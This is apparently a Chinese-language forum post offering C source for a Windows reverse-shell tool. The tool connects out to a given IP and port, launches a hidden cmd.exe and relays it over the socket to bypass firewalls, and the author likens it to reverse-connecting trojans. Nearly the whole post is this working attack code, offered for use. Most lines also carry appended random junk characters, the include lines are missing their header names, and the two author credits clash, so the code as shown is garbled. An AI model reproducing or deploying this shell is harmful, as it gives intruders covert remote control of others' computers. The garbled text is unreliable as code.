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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Q65M(x+oy  
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/* ==============================  %o/@0.w  
Rebound port in Windows NT xK0;saG#  
By wind,2006/7 [Cd#<Te3  
===============================*/ RPMz&/k  
#include Xgh%2 ;:  
#include qPi $kecx  
p]X+#I<  
#pragma comment(lib,"wsock32.lib") D*46,>Tv  
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void OutputShell(); m.6uLaD"!}  
SOCKET sClient; Ib2&L  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; m; =S]3P*  
b"@-9ke5I  
void main(int argc,char **argv) nzxHd7NIZ  
{ !p ~.Y+  
WSADATA stWsaData; o9ys$vXt*  
int nRet; #2\M(5d  
SOCKADDR_IN stSaiClient,stSaiServer; -mO<(wfV>  
x-@?:P*  
if(argc != 3) 6(\-aH'Ol  
{ G~_eBy  
printf("Useage:\n\rRebound DestIP DestPort\n"); ;[lLFI  
return; G,6`:l  
} |CQjgI|;  
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WSAStartup(MAKEWORD(2,2),&stWsaData); k^JgCC+  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); EhD%  
h`Ej>O7m  
stSaiClient.sin_family = AF_INET; QHXpX9  
stSaiClient.sin_port = htons(0); _eQ-'")  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); SANb g&$  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) F*z>B >{)  
{ {a>JQW5=  
printf("Bind Socket Failed!\n"); #6y fIvap  
return; {?w *n_T.  
} 9JMf T]  
* XDe:A  
stSaiServer.sin_family = AF_INET; 2fayQY xD  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %26HB w=JF  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); / E!6]b/  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) aFnyhu&W'  
{ ~6u|@pnI  
printf("Connect Error!"); cWQ &zc  
return; O d6'bO;G  
} taVK&ohWx  
OutputShell(); (0_]=r=q  
} jA@ uV,w  
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void OutputShell() 1*#hIuoj'  
{ mWoN\Rwj  
char szBuff[1024]; &f A1kG%  
SECURITY_ATTRIBUTES stSecurityAttributes; lZ"C~B}9:I  
OSVERSIONINFO stOsversionInfo; '&|%^9O/"  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $^e_4]k  
STARTUPINFO stStartupInfo; p&xj7qwp@F  
char *szShell; "FE%k>aV@v  
PROCESS_INFORMATION stProcessInformation; f/kYm\Zc  
unsigned long lBytesRead; vPZ0?r_5W  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); HWL? doM  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ca,JQrm  
stSecurityAttributes.lpSecurityDescriptor = 0; -)"\?+T  
stSecurityAttributes.bInheritHandle = TRUE; SoCN.J30  
IAmMO[9H  
( Q&jp!WU  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); isnpSN"z  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Mu" vj*F  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 8BY`~TZO$q  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /K,@{__JP  
stStartupInfo.wShowWindow = SW_HIDE; |e+r~).4B  
stStartupInfo.hStdInput = hReadPipe; su60j^e*  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; EcR[b@YI  
;8]Hw a1!  
GetVersionEx(&stOsversionInfo); C3<_0eI  
NP.qh1{NP  
switch(stOsversionInfo.dwPlatformId) 6!U~dt#a  
{ E_z,%aD[  
case 1: *rm[\  
szShell = "command.com"; |jWA >S  
break; $0M7P5]N*G  
default: d| {<SRAI  
szShell = "cmd.exe"; }6__E;h#J  
break; 6il+hz2&lH  
} !cO<N~0*5x  
)Ps<u-V  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); grd fR`3  
.D=#HEshk  
send(sClient,szMsg,77,0); b3=XWzK5  
while(1) Pl|*+g  
{ e 7Sg-NWV  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 'F1<m^  
if(lBytesRead) nrTCq~LO(  
{ 2Y}A9Veb  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); esv<b>`R  
send(sClient,szBuff,lBytesRead,0); 4%>tk 8 [  
} 5B{Eg?  
else @nj`T{*.  
{ &4p~i Z  
lBytesRead=recv(sClient,szBuff,1024,0); ?G5,x  
if(lBytesRead<=0) break; gFM~M(  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); TU2MG VYy  
} Pi[(xD8  
} iqTmgE-  
XOZ@ek)LY  
return; \7(OFT\u:  
}
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